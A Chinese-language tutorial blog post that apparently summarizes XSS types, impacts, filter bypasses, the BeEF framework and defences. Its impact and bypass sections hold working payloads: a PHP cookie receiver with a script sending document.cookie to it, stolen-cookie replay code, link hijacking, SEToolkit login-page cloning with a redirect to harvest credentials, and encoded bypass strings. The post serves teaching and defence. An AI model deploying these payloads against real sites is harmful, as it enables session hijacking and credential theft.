xss漏洞知识总结

目录

漏洞原理

漏洞分类

(1)反射型

(2)存储型

(3)DOM型

漏洞危害

1,盗取cookie

 2,会话劫持

 3,篡改网页链接

4,盗取用户信息

绕过方法

1,基于规则的绕过 

2,基于其他标签和事件 

3,编码绕过

BeEF工具

1,浏览器信息收集

2,系统信息收集

3,用户行为

4,钓鱼

 5,网络扫描

防范方法

1,过滤和转义

2,设置HttpOnly

3,Xss的检测


漏洞原理

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

未对用户的输入进行处理,浏览器将用户输入的内容当作脚本执行。恶意攻击者往Web页面里插入恶意JS代码,当用户浏览该页之时,嵌入其中Web里面的JS代码会被执行,从而达到恶意的特殊目的。是一种针对用户浏览器的攻击。

漏洞分类

Xss主要分为三种类型:

(1)反射型

反射型xss又称非持久性xss,需要用户点击带有特定参数的链接。

攻击者通过邮件等形式将包含xss代码的链接发送给用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有xss的代码发送给用户。未经验证和转义的用户输入,直接作为HTML输出的一部分。用户浏览器解析执行代码,触发xss漏洞。

Xss攻击可以让攻击者在受害者的浏览器中执行任意的HTML和JavaScript。

反射型xss攻击流程:

 使用:

页面会返回输入框所输入的内容

输入在服务器端处理后,已经成为HTML页面中的一部分。

 当输入的内容为脚本时

<script>alert(/xss/)</script>

 则输入的内容会被当作脚本执行

 

通过xss实现点击跳转

<script>alert("点击跳转");location.href="https://www.baidu.com"</script>

 

(2)存储型

存储型xss又称持久型xss,攻击脚本存储在目标服务器的数据库中。

存储型xss是指应用程序通过web请求向服务端提交了恶意数据,在未检验数据是否存在xss代码的情况下将其存入数据库。当下一次从数据库中获取该数据时,程序也未对其进行过滤,页面再次执行xss代码。

存储型xss可以持续攻击用户,具有更强的隐蔽性

存储型xss出现的位置:留言板、评论区、用户头像、个性签名、博客等。

存储型xss攻击流程:

 当留言板块被插入恶意xss代码时,内容会被存储到数据库中。

后续每次访问本页面都会受到影响。

(3)DOM型

DOM(Document Object Model)

DOM模型用一个逻辑树来表示一个文档,每个分支的终点都是一个节点,每个节点都包含着对象。DOM的方法让你可以用特定方式操作这个树,用这些方法你可以改变文档结构、样式或内容。

DOM型XSS

DOM型XSS其实时一种特殊类型的反射型XSS,通过JS操作DOM数动态地输出数据到页面,而不依赖于将数据提交给服务器端,它是基于DOM文档对象模型的一种漏洞。DOM型XSS数据不经过服务器,所以不受WAF影响。

利用:

在script里面创建一个Element的对象,然后对Element的对象的src设置一个提前准备好的服务器上。利用document.cookie获取到cookie,通过escape转义为一个可打印字符。

漏洞危害

1,盗取cookie

通过xss盗取用户cookie

<script>alert(document.cookie)</script>

 上面只是通过alert将用户的cookie弹出,还可以通过构造代码将cookie直接发送到自己的服务器。然后通过盗取到的cookie伪造用户身份,越权登录。

首先在服务器创建用于接收cookie的php文件,将接收到的值写入cookie.txt文本中。

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
<script>document.location="http://127.0.0.1/cookie.php?cookie="+document.cookie</script>

当执行次脚本后,用户客户端就会以自己的cookie为参数,跳转至指定的链接。服务端接收后就会生cookie.txt文件。

 还可以通过nc监听指定端口,然后构造代码将数据发往指定端口。

<script>document.location="http://127.0.0.1:1234/"+document.cookie</script>

 2,会话劫持

利用 Cookie 会话劫持

打开浏览器,选择console使用下面代码一键设置cookie

var cookiestr=“盗取到的cookie内容";

var arr = cookiestr.split(";");

for(var i in arr){

   document.cookie=arr[i];

}

访问网站时需要登录用户

通过上述方法将盗取到的cookie添加到浏览器。

 成功获得用户权限

 可在存储选项卡查看网站的cookie值。

 3,篡改网页链接

在存在xss漏洞的地方插入如下代码:

<script>

window.onload = function() {

var link=document.getElementsByTagName("a");

for(j = 0; j < link.length; j++) {

   link[j].href="http://www.baidu.com/";}

}

</script>

 当窗口加载时,使用for循环遍历所有的a标签,将a标签中的url替换指定的url。

利用带有XSS漏洞的页面,将所有a标签的url替换成指向流量的url,使得所有用户在这个网页点击的任何链接都跳转到该流量站点,使得站点的流量增多。

4,盗取用户信息

克隆网站登陆页面,利用存储XSS设置跳转代码,如果用户访问就会跳转到克隆网站的登陆页面,用户登陆的账号和密码被记录并发往黑客服务器。

使用kali系统自带的SETookit工具克隆网站:

          1,setookit (打开setookit工具)

          2,选择Social-Engineering Attacks

          3,选择Website Attack Vectors

          4,选择Credential Harvester Attack Method

          5,选择Site Cloner,输入要克隆的网址

利用xss漏洞在页面中插入跳转到克隆网站的代码:

<script>window.location=”http://192.168.154.128/”</script>

 当访问到此页面时,会自动跳转到攻击者指定页面。

 如果用户在此页面输入了账户密码并提交,攻击者后台就会接收到用户信息。

绕过方法

1,基于规则的绕过 

大小写绕过:

  HTML对标签大小写不敏感,可以利用大小写混用绕过

  例如:

<script>改为<ScRiPt>

双写绕过:

  有些情况的规则会将黑名单标签替换为空,可以利用这一点构造标签

  例如:

<script>改为<scr<script>ipt>

  同理某些注释符在规则中也会替换为空,这时候可以利用它构造payload

  例如:

<script>改为<scr<!---test--->ipt>

开口标签:

  在某些特殊环境,由于html代码补全机制,可以故意不闭合标签绕过黑名单检测

  例如:

<script>改为<script

空格回车TAB:

  例如:

js伪协议javascript:alert('xss');可以改为java script:alert('xss’);等

2,基于其他标签和事件 

其他非黑名单标签和事件:

<img>

  <img src=1 οnerrοr=alert("xss");>

<input>

  <input onfocus="alert('xss');">

  <input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件

  <input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件

<details>

  <details ontoggle="alert('xss');">

  <details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件

<svg>

  <svg οnlοad=alert("xss");>

<iframe>

  <iframe οnlοad=alert("xss");></iframe>

<body>

  <body/οnlοad=alert("xss");>

3,编码绕过

Base64编码:

  <script>eval(atob("YWxlcnQoMTIzKQ=="))</script>

  #eval()用于将字符串当作程序执行,atob()用于解密base64

  <a href=“data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>1</a>

  (需要浏览器支持)

HTML编码: 

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;

  &#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;>1</a>

HTML文档解码顺序:HTML解析,URL解析和JavaScript解析(Unicode)。

BeEF工具

BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的XSS利用工具。

1,浏览器信息收集

可收集:

  浏览器名称版本

  浏览器用户版本

  插件(包括Java,ActiveX,VBS,Flash……)

  窗口大小

(1)自动默认收集:

(2)插件收集信息

 模块图标不同颜色对应不同的使用效果

绿色:适用当前浏览器

橙色:适用当前浏览器,但易被用户发现,social engineering模块默认为橙色

红色:不适于当前浏览器,但仍可尝试

2,系统信息收集

可收集:

  安装的软件(适用于IE下,Detect Software模块)

  注册表键值(适用于IE下,此时会弹出提示消息)

  内网IP(Java模块得到授权)

  系统详情(通过JavaApplet获取系统版本、Java VM details、NIC names and IP、处理器、内存、屏幕显示模式) 

  定位(通过Google maps)

  剪贴板信息(会弹出提示消息)

3,用户行为

可收集:

  用户是否访问过某URL、domain

  是否登录特定网站账号

  是否使用TOR

4,钓鱼

提交登录信息

  在网页弹出诱骗消息需要用户输入登录和密码

 当用户输入信息后,自动获取,如图

 5,网络扫描

获取内网ip

通过WebRTC获取内网IP

防范方法

1,过滤和转义

针对XSS的防御

用用户的输入进行合理验证,对特殊字符如(<、>、’、”等)以及<script>、javascript等进行过滤。

采用OWASP ESAPI对数据输出HTML上下文中不同位置(HTML标签、HTML属性、JavaScript脚本、CSS、URL)进行恰当的输出编码。

2,设置HttpOnly

设置HttpOnly属性,避免攻击者利用XSS漏洞进行Cookie劫持攻击。

  java:cookie.setHttpOnly(true);

  python:tools.session.httponly = true

  php:session.cookie_httponly=1

3,Xss的检测

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()、setTimeout()、setInterval()、Function()、innerHTML、document.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值